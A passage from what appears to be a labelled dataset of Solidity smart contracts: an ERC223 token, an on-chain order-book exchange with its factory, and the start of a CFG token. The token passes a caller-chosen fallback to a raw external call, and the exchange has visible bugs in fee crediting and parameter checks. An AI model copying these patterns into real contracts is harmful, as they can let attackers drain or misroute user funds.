totalSupply = _totalSupply;
balances[msg.sender] = _totalSupply;
}
function name() public view returns (string) {
return name;
}
function symbol() public view returns (string) {
return symbol;
}
function decimals() public view returns (uint8) {
return decimals;
}
function totalSupply() public view returns (uint) {
return totalSupply;
}
function balanceOf(address owner) public view returns (uint) {
return balances[owner];
}
function transfer(address to, uint value, bytes data) public returns (bool) {
if(balanceOf(msg.sender) < value) revert();
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
if(isContract(to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(to);
receiver.tokenFallback(msg.sender, value, data);
}
emit Transfer(msg.sender, to, value, data);
return true;
}
function transfer(address to, uint value) public returns (bool) {
if(balanceOf(msg.sender) < value) revert();
bytes memory empty;
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
if(isContract(to)) {
ERC223ReceivingContract receiver = ERC223ReceivingContract(to);
receiver.tokenFallback(msg.sender, value, empty);
}
emit Transfer(msg.sender, to, value, empty);
return true;
}
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool) {
if(balanceOf(msg.sender) < value) revert();
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
if (isContract(to)) {
assert(to.call.value(0)(bytes4(keccak256(customFallback)), msg.sender, value, data));
}
emit Transfer(msg.sender, to, value, data);
return true;
}
function isContract(address addr) private view returns (bool) {
uint len;
assembly {
len := extcodesize(addr)
}
return (len > 0);
}
} | 1 | 2,848 |
pragma solidity ^0.4.11;
contract ERC20 {
function totalSupply() constant returns (uint);
function balanceOf(address _owner) constant returns (uint balance);
function transfer(address _to, uint _value) returns (bool success);
function transferFrom(address _from, address _to, uint _value) returns (bool success);
function approve(address _spender, uint _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract BookERC20EthV1p1 {
enum BookType {
ERC20EthV1
}
enum Direction {
Invalid,
Buy,
Sell
}
enum Status {
Unknown,
Rejected,
Open,
Done,
NeedsGas,
Sending,
FailedSend,
FailedTxn
}
enum ReasonCode {
None,
InvalidPrice,
InvalidSize,
InvalidTerms,
InsufficientFunds,
WouldTake,
Unmatched,
TooManyMatches,
ClientCancel
}
enum Terms {
GTCNoGasTopup,
GTCWithGasTopup,
ImmediateOrCancel,
MakerOnly
}
struct Order {
address client;
uint16 price;
uint sizeBase;
Terms terms;
Status status;
ReasonCode reasonCode;
uint128 executedBase;
uint128 executedCntr;
uint128 feesBaseOrCntr;
uint128 feesRwrd;
}
struct OrderChain {
uint128 firstOrderId;
uint128 lastOrderId;
}
struct OrderChainNode {
uint128 nextOrderId;
uint128 prevOrderId;
}
enum ClientPaymentEventType {
Deposit,
Withdraw,
TransferFrom,
Transfer
}
enum BalanceType {
Base,
Cntr,
Rwrd
}
event ClientPaymentEvent(
address indexed client,
ClientPaymentEventType clientPaymentEventType,
BalanceType balanceType,
int clientBalanceDelta
);
enum ClientOrderEventType {
Create,
Continue,
Cancel
}
event ClientOrderEvent(
address indexed client,
ClientOrderEventType clientOrderEventType,
uint128 orderId,
uint maxMatches
);
enum MarketOrderEventType {
Add,
Remove,
CompleteFill,
PartialFill
}
event MarketOrderEvent(
uint256 indexed eventTimestamp,
uint128 indexed orderId,
MarketOrderEventType marketOrderEventType,
uint16 price,
uint depthBase,
uint tradeBase
);
ERC20 baseToken;
uint baseMinInitialSize;
uint baseMinRemainingSize;
uint constant baseMaxSize = 10 ** 30;
uint constant cntrMinInitialSize = 10 finney;
uint constant cntrMaxSize = 10 ** 30;
ERC20 rwrdToken;
uint constant ethRwrdRate = 1000;
mapping (address => uint) balanceBaseForClient;
mapping (address => uint) balanceCntrForClient;
mapping (address => uint) balanceRwrdForClient;
uint constant feeDivisor = 2000;
address feeCollector;
mapping (uint128 => Order) orderForOrderId;
uint256[85] occupiedPriceBitmaps;
mapping (uint16 => OrderChain) orderChainForOccupiedPrice;
mapping (uint128 => OrderChainNode) orderChainNodeForOpenOrderId;
mapping (address => uint128) mostRecentOrderIdForClient;
mapping (uint128 => uint128) clientPreviousOrderIdBeforeOrderId;
int8 minPriceExponent;
uint constant invalidPrice = 0;
uint constant maxBuyPrice = 1;
uint constant minBuyPrice = 10800;
uint constant minSellPrice = 10801;
uint constant maxSellPrice = 21600;
function BookERC20EthV1p1() {
address creator = msg.sender;
feeCollector = creator;
}
function init(ERC20 _baseToken, ERC20 _rwrdToken, uint _baseMinInitialSize, int8 _minPriceExponent) public {
require(msg.sender == feeCollector);
require(address(baseToken) == 0);
require(address(_baseToken) != 0);
require(address(rwrdToken) == 0);
require(address(_rwrdToken) != 0);
require(_baseMinInitialSize >= 10);
require(_baseMinInitialSize < baseMaxSize / 1000000);
require(_minPriceExponent >= -20 && _minPriceExponent <= 20);
if (_minPriceExponent < 2) {
require(_baseMinInitialSize >= 10 ** uint(3-int(minPriceExponent)));
}
baseMinInitialSize = _baseMinInitialSize;
baseMinRemainingSize = _baseMinInitialSize / 10;
minPriceExponent = _minPriceExponent;
require(_baseToken.totalSupply() > 0);
baseToken = _baseToken;
require(_rwrdToken.totalSupply() > 0);
rwrdToken = _rwrdToken;
}
function changeFeeCollector(address newFeeCollector) public {
address oldFeeCollector = feeCollector;
require(msg.sender == oldFeeCollector);
require(newFeeCollector != oldFeeCollector);
feeCollector = newFeeCollector;
}
function getBookInfo() public constant returns (
BookType _bookType, address _baseToken, address _rwrdToken,
uint _baseMinInitialSize, uint _cntrMinInitialSize, int8 _minPriceExponent,
uint _feeDivisor, address _feeCollector
) {
return (
BookType.ERC20EthV1,
address(baseToken),
address(rwrdToken),
baseMinInitialSize,
cntrMinInitialSize,
minPriceExponent,
feeDivisor,
feeCollector
);
}
function getClientBalances(address client) public constant returns (
uint bookBalanceBase,
uint bookBalanceCntr,
uint bookBalanceRwrd,
uint approvedBalanceBase,
uint approvedBalanceRwrd,
uint ownBalanceBase,
uint ownBalanceRwrd
) {
bookBalanceBase = balanceBaseForClient[client];
bookBalanceCntr = balanceCntrForClient[client];
bookBalanceRwrd = balanceRwrdForClient[client];
approvedBalanceBase = baseToken.allowance(client, address(this));
approvedBalanceRwrd = rwrdToken.allowance(client, address(this));
ownBalanceBase = baseToken.balanceOf(client);
ownBalanceRwrd = rwrdToken.balanceOf(client);
}
function transferFromBase() public {
address client = msg.sender;
address book = address(this);
uint amountBase = baseToken.allowance(client, book);
require(amountBase > 0);
require(baseToken.transferFrom(client, book, amountBase));
assert(baseToken.allowance(client, book) == 0);
balanceBaseForClient[client] += amountBase;
ClientPaymentEvent(client, ClientPaymentEventType.TransferFrom, BalanceType.Base, int(amountBase));
}
function transferBase(uint amountBase) public {
address client = msg.sender;
require(amountBase > 0);
require(amountBase <= balanceBaseForClient[client]);
balanceBaseForClient[client] -= amountBase;
require(baseToken.transfer(client, amountBase));
ClientPaymentEvent(client, ClientPaymentEventType.Transfer, BalanceType.Base, -int(amountBase));
}
function depositCntr() public payable {
address client = msg.sender;
uint amountCntr = msg.value;
require(amountCntr > 0);
balanceCntrForClient[client] += amountCntr;
ClientPaymentEvent(client, ClientPaymentEventType.Deposit, BalanceType.Cntr, int(amountCntr));
}
function withdrawCntr(uint amountCntr) public {
address client = msg.sender;
require(amountCntr > 0);
require(amountCntr <= balanceCntrForClient[client]);
balanceCntrForClient[client] -= amountCntr;
client.transfer(amountCntr);
ClientPaymentEvent(client, ClientPaymentEventType.Withdraw, BalanceType.Cntr, -int(amountCntr));
}
function transferFromRwrd() public {
address client = msg.sender;
address book = address(this);
uint amountRwrd = rwrdToken.allowance(client, book);
require(amountRwrd > 0);
require(rwrdToken.transferFrom(client, book, amountRwrd));
assert(rwrdToken.allowance(client, book) == 0);
balanceRwrdForClient[client] += amountRwrd;
ClientPaymentEvent(client, ClientPaymentEventType.TransferFrom, BalanceType.Rwrd, int(amountRwrd));
}
function transferRwrd(uint amountRwrd) public {
address client = msg.sender;
require(amountRwrd > 0);
require(amountRwrd <= balanceRwrdForClient[client]);
balanceRwrdForClient[client] -= amountRwrd;
require(rwrdToken.transfer(client, amountRwrd));
ClientPaymentEvent(client, ClientPaymentEventType.Transfer, BalanceType.Rwrd, -int(amountRwrd));
}
function getOrder(uint128 orderId) public constant returns (
address client, uint16 price, uint sizeBase, Terms terms,
Status status, ReasonCode reasonCode, uint executedBase, uint executedCntr,
uint feesBaseOrCntr, uint feesRwrd) {
Order storage order = orderForOrderId[orderId];
return (order.client, order.price, order.sizeBase, order.terms,
order.status, order.reasonCode, order.executedBase, order.executedCntr,
order.feesBaseOrCntr, order.feesRwrd);
}
function getOrderState(uint128 orderId) public constant returns (
Status status, ReasonCode reasonCode, uint executedBase, uint executedCntr,
uint feesBaseOrCntr, uint feesRwrd) {
Order storage order = orderForOrderId[orderId];
return (order.status, order.reasonCode, order.executedBase, order.executedCntr,
order.feesBaseOrCntr, order.feesRwrd);
}
function walkClientOrders(
address client, uint128 maybeLastOrderIdReturned, uint128 minClosedOrderIdCutoff
) public constant returns (
uint128 orderId, uint16 price, uint sizeBase, Terms terms,
Status status, ReasonCode reasonCode, uint executedBase, uint executedCntr,
uint feesBaseOrCntr, uint feesRwrd) {
if (maybeLastOrderIdReturned == 0) {
orderId = mostRecentOrderIdForClient[client];
} else {
orderId = clientPreviousOrderIdBeforeOrderId[maybeLastOrderIdReturned];
}
while (true) {
if (orderId == 0) return;
Order storage order = orderForOrderId[orderId];
if (orderId >= minClosedOrderIdCutoff) break;
if (order.status == Status.Open || order.status == Status.NeedsGas) break;
orderId = clientPreviousOrderIdBeforeOrderId[orderId];
}
return (orderId, order.price, order.sizeBase, order.terms,
order.status, order.reasonCode, order.executedBase, order.executedCntr,
order.feesBaseOrCntr, order.feesRwrd);
}
function unpackPrice(uint16 price) internal constant returns (
Direction direction, uint16 mantissa, int8 exponent
) {
uint sidedPriceIndex = uint(price);
uint priceIndex;
if (sidedPriceIndex < 1 || sidedPriceIndex > maxSellPrice) {
direction = Direction.Invalid;
mantissa = 0;
exponent = 0;
return;
} else if (sidedPriceIndex <= minBuyPrice) {
direction = Direction.Buy;
priceIndex = minBuyPrice - sidedPriceIndex;
} else {
direction = Direction.Sell;
priceIndex = sidedPriceIndex - minSellPrice;
}
uint zeroBasedMantissa = priceIndex % 900;
uint zeroBasedExponent = priceIndex / 900;
mantissa = uint16(zeroBasedMantissa + 100);
exponent = int8(zeroBasedExponent) + minPriceExponent;
return;
}
function isBuyPrice(uint16 price) internal constant returns (bool isBuy) {
return price >= maxBuyPrice && price <= minBuyPrice;
}
function computeOppositePrice(uint16 price) internal constant returns (uint16 opposite) {
if (price < maxBuyPrice || price > maxSellPrice) {
return uint16(invalidPrice);
} else if (price <= minBuyPrice) {
return uint16(maxSellPrice - (price - maxBuyPrice));
} else {
return uint16(maxBuyPrice + (maxSellPrice - price));
}
}
function computeCntrAmountUsingUnpacked(
uint baseAmount, uint16 mantissa, int8 exponent
) internal constant returns (uint cntrAmount) {
if (exponent < 0) {
return baseAmount * uint(mantissa) / 1000 / 10 ** uint(-exponent);
} else {
return baseAmount * uint(mantissa) / 1000 * 10 ** uint(exponent);
}
}
function computeCntrAmountUsingPacked(
uint baseAmount, uint16 price
) internal constant returns (uint) {
var (, mantissa, exponent) = unpackPrice(price);
return computeCntrAmountUsingUnpacked(baseAmount, mantissa, exponent);
}
function createOrder(
uint128 orderId, uint16 price, uint sizeBase, Terms terms, uint maxMatches
) public {
address client = msg.sender;
require(orderId != 0 && orderForOrderId[orderId].client == 0);
ClientOrderEvent(client, ClientOrderEventType.Create, orderId, maxMatches);
orderForOrderId[orderId] =
Order(client, price, sizeBase, terms, Status.Unknown, ReasonCode.None, 0, 0, 0, 0);
uint128 previousMostRecentOrderIdForClient = mostRecentOrderIdForClient[client];
mostRecentOrderIdForClient[client] = orderId;
clientPreviousOrderIdBeforeOrderId[orderId] = previousMostRecentOrderIdForClient;
Order storage order = orderForOrderId[orderId];
var (direction, mantissa, exponent) = unpackPrice(price);
if (direction == Direction.Invalid) {
order.status = Status.Rejected;
order.reasonCode = ReasonCode.InvalidPrice;
return;
}
if (sizeBase < baseMinInitialSize || sizeBase > baseMaxSize) {
order.status = Status.Rejected;
order.reasonCode = ReasonCode.InvalidSize;
return;
}
uint sizeCntr = computeCntrAmountUsingUnpacked(sizeBase, mantissa, exponent);
if (sizeCntr < cntrMinInitialSize || sizeCntr > cntrMaxSize) {
order.status = Status.Rejected;
order.reasonCode = ReasonCode.InvalidSize;
return;
}
if (terms == Terms.MakerOnly && maxMatches != 0) {
order.status = Status.Rejected;
order.reasonCode = ReasonCode.InvalidTerms;
return;
}
if (!debitFunds(client, direction, sizeBase, sizeCntr)) {
order.status = Status.Rejected;
order.reasonCode = ReasonCode.InsufficientFunds;
return;
}
processOrder(orderId, maxMatches);
}
function cancelOrder(uint128 orderId) public {
address client = msg.sender;
Order storage order = orderForOrderId[orderId];
require(order.client == client);
Status status = order.status;
if (status != Status.Open && status != Status.NeedsGas) {
return;
}
ClientOrderEvent(client, ClientOrderEventType.Cancel, orderId, 0);
if (status == Status.Open) {
removeOpenOrderFromBook(orderId);
MarketOrderEvent(block.timestamp, orderId, MarketOrderEventType.Remove, order.price,
order.sizeBase - order.executedBase, 0);
}
refundUnmatchedAndFinish(orderId, Status.Done, ReasonCode.ClientCancel);
}
function continueOrder(uint128 orderId, uint maxMatches) public {
address client = msg.sender;
Order storage order = orderForOrderId[orderId];
require(order.client == client);
if (order.status != Status.NeedsGas) {
return;
}
ClientOrderEvent(client, ClientOrderEventType.Continue, orderId, maxMatches);
order.status = Status.Unknown;
processOrder(orderId, maxMatches);
}
function removeOpenOrderFromBook(uint128 orderId) internal {
Order storage order = orderForOrderId[orderId];
uint16 price = order.price;
OrderChain storage orderChain = orderChainForOccupiedPrice[price];
OrderChainNode storage orderChainNode = orderChainNodeForOpenOrderId[orderId];
uint128 nextOrderId = orderChainNode.nextOrderId;
uint128 prevOrderId = orderChainNode.prevOrderId;
if (nextOrderId != 0) {
OrderChainNode storage nextOrderChainNode = orderChainNodeForOpenOrderId[nextOrderId];
nextOrderChainNode.prevOrderId = prevOrderId;
} else {
orderChain.lastOrderId = prevOrderId;
}
if (prevOrderId != 0) {
OrderChainNode storage prevOrderChainNode = orderChainNodeForOpenOrderId[prevOrderId];
prevOrderChainNode.nextOrderId = nextOrderId;
} else {
orderChain.firstOrderId = nextOrderId;
}
if (nextOrderId == 0 && prevOrderId == 0) {
uint bmi = price / 256;
uint bti = price % 256;
occupiedPriceBitmaps[bmi] ^= 2 ** bti;
}
}
function creditExecutedFundsLessFees(uint128 orderId, uint originalExecutedBase, uint originalExecutedCntr) internal {
Order storage order = orderForOrderId[orderId];
uint liquidityTakenBase = order.executedBase - originalExecutedBase;
uint liquidityTakenCntr = order.executedCntr - originalExecutedCntr;
uint feesRwrd = liquidityTakenCntr / feeDivisor * ethRwrdRate;
uint feesBaseOrCntr;
address client = order.client;
uint availRwrd = balanceRwrdForClient[client];
if (feesRwrd <= availRwrd) {
balanceRwrdForClient[client] = availRwrd - feesRwrd;
balanceRwrdForClient[feeCollector] = feesRwrd;
order.feesRwrd += uint128(feesRwrd);
if (isBuyPrice(order.price)) {
balanceBaseForClient[client] += liquidityTakenBase;
} else {
balanceCntrForClient[client] += liquidityTakenCntr;
}
} else if (isBuyPrice(order.price)) {
feesBaseOrCntr = liquidityTakenBase / feeDivisor;
balanceBaseForClient[order.client] += (liquidityTakenBase - feesBaseOrCntr);
order.feesBaseOrCntr += uint128(feesBaseOrCntr);
balanceBaseForClient[feeCollector] += feesBaseOrCntr;
} else {
feesBaseOrCntr = liquidityTakenCntr / feeDivisor;
balanceCntrForClient[order.client] += (liquidityTakenCntr - feesBaseOrCntr);
order.feesBaseOrCntr += uint128(feesBaseOrCntr);
balanceCntrForClient[feeCollector] += feesBaseOrCntr;
}
}
function processOrder(uint128 orderId, uint maxMatches) internal {
Order storage order = orderForOrderId[orderId];
uint ourOriginalExecutedBase = order.executedBase;
uint ourOriginalExecutedCntr = order.executedCntr;
var (ourDirection,) = unpackPrice(order.price);
uint theirPriceStart = (ourDirection == Direction.Buy) ? minSellPrice : maxBuyPrice;
uint theirPriceEnd = computeOppositePrice(order.price);
MatchStopReason matchStopReason =
matchAgainstBook(orderId, theirPriceStart, theirPriceEnd, maxMatches);
creditExecutedFundsLessFees(orderId, ourOriginalExecutedBase, ourOriginalExecutedCntr);
if (order.terms == Terms.ImmediateOrCancel) {
if (matchStopReason == MatchStopReason.Satisfied) {
refundUnmatchedAndFinish(orderId, Status.Done, ReasonCode.None);
return;
} else if (matchStopReason == MatchStopReason.MaxMatches) {
refundUnmatchedAndFinish(orderId, Status.Done, ReasonCode.TooManyMatches);
return;
} else if (matchStopReason == MatchStopReason.BookExhausted) {
refundUnmatchedAndFinish(orderId, Status.Done, ReasonCode.Unmatched);
return;
}
} else if (order.terms == Terms.MakerOnly) {
if (matchStopReason == MatchStopReason.MaxMatches) {
refundUnmatchedAndFinish(orderId, Status.Rejected, ReasonCode.WouldTake);
return;
} else if (matchStopReason == MatchStopReason.BookExhausted) {
enterOrder(orderId);
return;
}
} else if (order.terms == Terms.GTCNoGasTopup) {
if (matchStopReason == MatchStopReason.Satisfied) {
refundUnmatchedAndFinish(orderId, Status.Done, ReasonCode.None);
return;
} else if (matchStopReason == MatchStopReason.MaxMatches) {
refundUnmatchedAndFinish(orderId, Status.Done, ReasonCode.TooManyMatches);
return;
} else if (matchStopReason == MatchStopReason.BookExhausted) {
enterOrder(orderId);
return;
}
} else if (order.terms == Terms.GTCWithGasTopup) {
if (matchStopReason == MatchStopReason.Satisfied) {
refundUnmatchedAndFinish(orderId, Status.Done, ReasonCode.None);
return;
} else if (matchStopReason == MatchStopReason.MaxMatches) {
order.status = Status.NeedsGas;
return;
} else if (matchStopReason == MatchStopReason.BookExhausted) {
enterOrder(orderId);
return;
}
}
assert(false);
}
enum MatchStopReason {
None,
MaxMatches,
Satisfied,
PriceExhausted,
BookExhausted
}
function matchAgainstBook(
uint128 orderId, uint theirPriceStart, uint theirPriceEnd, uint maxMatches
) internal returns (
MatchStopReason matchStopReason
) {
Order storage order = orderForOrderId[orderId];
uint bmi = theirPriceStart / 256;
uint bti = theirPriceStart % 256;
uint bmiEnd = theirPriceEnd / 256;
uint btiEnd = theirPriceEnd % 256;
uint cbm = occupiedPriceBitmaps[bmi];
uint dbm = cbm;
uint wbm = cbm >> bti;
bool removedLastAtPrice;
matchStopReason = MatchStopReason.None;
while (bmi < bmiEnd) {
if (wbm == 0 || bti == 256) {
if (dbm != cbm) {
occupiedPriceBitmaps[bmi] = dbm;
}
bti = 0;
bmi++;
cbm = occupiedPriceBitmaps[bmi];
wbm = cbm;
dbm = cbm;
} else {
if ((wbm & 1) != 0) {
(removedLastAtPrice, maxMatches, matchStopReason) =
matchWithOccupiedPrice(order, uint16(bmi * 256 + bti), maxMatches);
if (removedLastAtPrice) {
dbm ^= 2 ** bti;
}
if (matchStopReason == MatchStopReason.PriceExhausted) {
matchStopReason = MatchStopReason.None;
} else if (matchStopReason != MatchStopReason.None) {
break;
}
}
bti += 1;
wbm /= 2;
}
}
if (matchStopReason == MatchStopReason.None) {
while (bti <= btiEnd && wbm != 0) {
if ((wbm & 1) != 0) {
(removedLastAtPrice, maxMatches, matchStopReason) =
matchWithOccupiedPrice(order, uint16(bmi * 256 + bti), maxMatches);
if (removedLastAtPrice) {
dbm ^= 2 ** bti;
}
if (matchStopReason == MatchStopReason.PriceExhausted) {
matchStopReason = MatchStopReason.None;
} else if (matchStopReason != MatchStopReason.None) {
break;
}
}
bti += 1;
wbm /= 2;
}
}
if (dbm != cbm) {
occupiedPriceBitmaps[bmi] = dbm;
}
if (matchStopReason == MatchStopReason.None) {
matchStopReason = MatchStopReason.BookExhausted;
}
}
function matchWithOccupiedPrice(
Order storage ourOrder, uint16 theirPrice, uint maxMatches
) internal returns (
bool removedLastAtPrice, uint matchesLeft, MatchStopReason matchStopReason) {
matchesLeft = maxMatches;
uint workingOurExecutedBase = ourOrder.executedBase;
uint workingOurExecutedCntr = ourOrder.executedCntr;
uint128 theirOrderId = orderChainForOccupiedPrice[theirPrice].firstOrderId;
matchStopReason = MatchStopReason.None;
while (true) {
if (matchesLeft == 0) {
matchStopReason = MatchStopReason.MaxMatches;
break;
}
uint matchBase;
uint matchCntr;
(theirOrderId, matchBase, matchCntr, matchStopReason) =
matchWithTheirs((ourOrder.sizeBase - workingOurExecutedBase), theirOrderId, theirPrice);
workingOurExecutedBase += matchBase;
workingOurExecutedCntr += matchCntr;
matchesLeft -= 1;
if (matchStopReason != MatchStopReason.None) {
break;
}
}
ourOrder.executedBase = uint128(workingOurExecutedBase);
ourOrder.executedCntr = uint128(workingOurExecutedCntr);
if (theirOrderId == 0) {
orderChainForOccupiedPrice[theirPrice].firstOrderId = 0;
orderChainForOccupiedPrice[theirPrice].lastOrderId = 0;
removedLastAtPrice = true;
} else {
orderChainForOccupiedPrice[theirPrice].firstOrderId = theirOrderId;
orderChainNodeForOpenOrderId[theirOrderId].prevOrderId = 0;
removedLastAtPrice = false;
}
}
function matchWithTheirs(
uint ourRemainingBase, uint128 theirOrderId, uint16 theirPrice) internal returns (
uint128 nextTheirOrderId, uint matchBase, uint matchCntr, MatchStopReason matchStopReason) {
Order storage theirOrder = orderForOrderId[theirOrderId];
uint theirRemainingBase = theirOrder.sizeBase - theirOrder.executedBase;
if (ourRemainingBase < theirRemainingBase) {
matchBase = ourRemainingBase;
} else {
matchBase = theirRemainingBase;
}
matchCntr = computeCntrAmountUsingPacked(matchBase, theirPrice);
if ((ourRemainingBase - matchBase) < baseMinRemainingSize) {
matchStopReason = MatchStopReason.Satisfied;
} else {
matchStopReason = MatchStopReason.None;
}
bool theirsDead = recordTheirMatch(theirOrder, theirOrderId, theirPrice, matchBase, matchCntr);
if (theirsDead) {
nextTheirOrderId = orderChainNodeForOpenOrderId[theirOrderId].nextOrderId;
if (matchStopReason == MatchStopReason.None && nextTheirOrderId == 0) {
matchStopReason = MatchStopReason.PriceExhausted;
}
} else {
nextTheirOrderId = theirOrderId;
}
}
function recordTheirMatch(
Order storage theirOrder, uint128 theirOrderId, uint16 theirPrice, uint matchBase, uint matchCntr
) internal returns (bool theirsDead) {
theirOrder.executedBase += uint128(matchBase);
theirOrder.executedCntr += uint128(matchCntr);
if (isBuyPrice(theirPrice)) {
balanceBaseForClient[theirOrder.client] += matchBase;
} else {
balanceCntrForClient[theirOrder.client] += matchCntr;
}
uint stillRemainingBase = theirOrder.sizeBase - theirOrder.executedBase;
if (stillRemainingBase < baseMinRemainingSize) {
refundUnmatchedAndFinish(theirOrderId, Status.Done, ReasonCode.None);
MarketOrderEvent(block.timestamp, theirOrderId, MarketOrderEventType.CompleteFill,
theirPrice, matchBase + stillRemainingBase, matchBase);
return true;
} else {
MarketOrderEvent(block.timestamp, theirOrderId, MarketOrderEventType.PartialFill,
theirPrice, matchBase, matchBase);
return false;
}
}
function refundUnmatchedAndFinish(uint128 orderId, Status status, ReasonCode reasonCode) internal {
Order storage order = orderForOrderId[orderId];
uint16 price = order.price;
if (isBuyPrice(price)) {
uint sizeCntr = computeCntrAmountUsingPacked(order.sizeBase, price);
balanceCntrForClient[order.client] += sizeCntr - order.executedCntr;
} else {
balanceBaseForClient[order.client] += order.sizeBase - order.executedBase;
}
order.status = status;
order.reasonCode = reasonCode;
}
function enterOrder(uint128 orderId) internal {
Order storage order = orderForOrderId[orderId];
uint16 price = order.price;
OrderChain storage orderChain = orderChainForOccupiedPrice[price];
OrderChainNode storage orderChainNode = orderChainNodeForOpenOrderId[orderId];
if (orderChain.firstOrderId == 0) {
orderChain.firstOrderId = orderId;
orderChain.lastOrderId = orderId;
orderChainNode.nextOrderId = 0;
orderChainNode.prevOrderId = 0;
uint bitmapIndex = price / 256;
uint bitIndex = price % 256;
occupiedPriceBitmaps[bitmapIndex] |= (2 ** bitIndex);
} else {
uint128 existingLastOrderId = orderChain.lastOrderId;
OrderChainNode storage existingLastOrderChainNode = orderChainNodeForOpenOrderId[existingLastOrderId];
orderChainNode.nextOrderId = 0;
orderChainNode.prevOrderId = existingLastOrderId;
existingLastOrderChainNode.nextOrderId = orderId;
orderChain.lastOrderId = orderId;
}
MarketOrderEvent(block.timestamp, orderId, MarketOrderEventType.Add,
price, order.sizeBase - order.executedBase, 0);
order.status = Status.Open;
}
function debitFunds(
address client, Direction direction, uint sizeBase, uint sizeCntr
) internal returns (bool success) {
if (direction == Direction.Buy) {
uint availableCntr = balanceCntrForClient[client];
if (availableCntr < sizeCntr) {
return false;
}
balanceCntrForClient[client] = availableCntr - sizeCntr;
return true;
} else if (direction == Direction.Sell) {
uint availableBase = balanceBaseForClient[client];
if (availableBase < sizeBase) {
return false;
}
balanceBaseForClient[client] = availableBase - sizeBase;
return true;
} else {
return false;
}
}
function walkBook(uint16 fromPrice) public constant returns (
uint16 price, uint depthBase, uint orderCount, uint blockNumber
) {
uint priceStart = fromPrice;
uint priceEnd = (isBuyPrice(fromPrice)) ? minBuyPrice : maxSellPrice;
uint bmi = priceStart / 256;
uint bti = priceStart % 256;
uint bmiEnd = priceEnd / 256;
uint btiEnd = priceEnd % 256;
uint wbm = occupiedPriceBitmaps[bmi] >> bti;
while (bmi < bmiEnd) {
if (wbm == 0 || bti == 256) {
bti = 0;
bmi++;
wbm = occupiedPriceBitmaps[bmi];
} else {
if ((wbm & 1) != 0) {
price = uint16(bmi * 256 + bti);
(depthBase, orderCount) = sumDepth(orderChainForOccupiedPrice[price].firstOrderId);
return (price, depthBase, orderCount, block.number);
}
bti += 1;
wbm /= 2;
}
}
while (bti <= btiEnd && wbm != 0) {
if ((wbm & 1) != 0) {
price = uint16(bmi * 256 + bti);
(depthBase, orderCount) = sumDepth(orderChainForOccupiedPrice[price].firstOrderId);
return (price, depthBase, orderCount, block.number);
}
bti += 1;
wbm /= 2;
}
return (uint16(priceEnd), 0, 0, block.number);
}
function sumDepth(uint128 orderId) internal constant returns (uint depth, uint orderCount) {
while (true) {
Order storage order = orderForOrderId[orderId];
depth += order.sizeBase - order.executedBase;
orderCount++;
orderId = orderChainNodeForOpenOrderId[orderId].nextOrderId;
if (orderId == 0) {
return (depth, orderCount);
}
}
}
}
contract BookERC20EthV1p1Factory {
event BookCreated (address bookAddress);
function BookERC20EthV1p1Factory() {
}
function createBook(ERC20 _baseToken, ERC20 _rwrdToken, address _feeCollector, uint _baseMinInitialSize, int8 _minPriceExponent) public {
BookERC20EthV1p1 book = new BookERC20EthV1p1();
book.init(_baseToken, _rwrdToken, _baseMinInitialSize, _minPriceExponent);
book.changeFeeCollector(_feeCollector);
BookCreated(address(book));
}
} | 1 | 5,049 |
pragma solidity ^0.4.24;
contract Ownable {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
address public owner;
address public ownerCandidate;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function setOwnerCandidate(address candidate) external onlyOwner {
ownerCandidate = candidate;
}
function approveNewOwner() external {
address candidate = ownerCandidate;
require(msg.sender == candidate, "Only owner candidate can use this function");
emit OwnershipTransferred(owner, candidate);
owner = candidate;
ownerCandidate = 0x0;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract IERC20Token {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract CFGToken is IERC20Token, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private balances;
mapping(address => mapping(address => uint256)) private allowed;
string public symbol;
string public name;
uint8 public decimals;
uint256 private totalSupply_;
bool public initialized = false;
uint256 public lockedUntil;
address public hotWallet;
address public reserveWallet;
address public teamWallet;
address public advisersWallet;
constructor() public {
symbol = "CFGT";
name = "Cardonio Financial Group Token";
decimals = 18;
}
function init(address _hotWallet, address _reserveWallet, address _teamWallet, address _advisersWallet) external onlyOwner {
require(!initialized, "Already initialized");
lockedUntil = now + 730 days;
hotWallet = _hotWallet;
reserveWallet = _reserveWallet;
teamWallet = _teamWallet;
advisersWallet = _advisersWallet;
uint256 hotSupply = 380000000e18;
uint256 reserveSupply = 100000000e18;
uint256 teamSupply = 45000000e18;
uint256 advisersSupply = 25000000e18;
balances[hotWallet] = hotSupply;
balances[reserveWallet] = reserveSupply;
balances[teamWallet] = teamSupply;
balances[advisersWallet] = advisersSupply;
totalSupply_ = hotSupply.add(reserveSupply).add(teamSupply).add(advisersSupply);
initialized = true;
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0), "Receiver address should be specified");
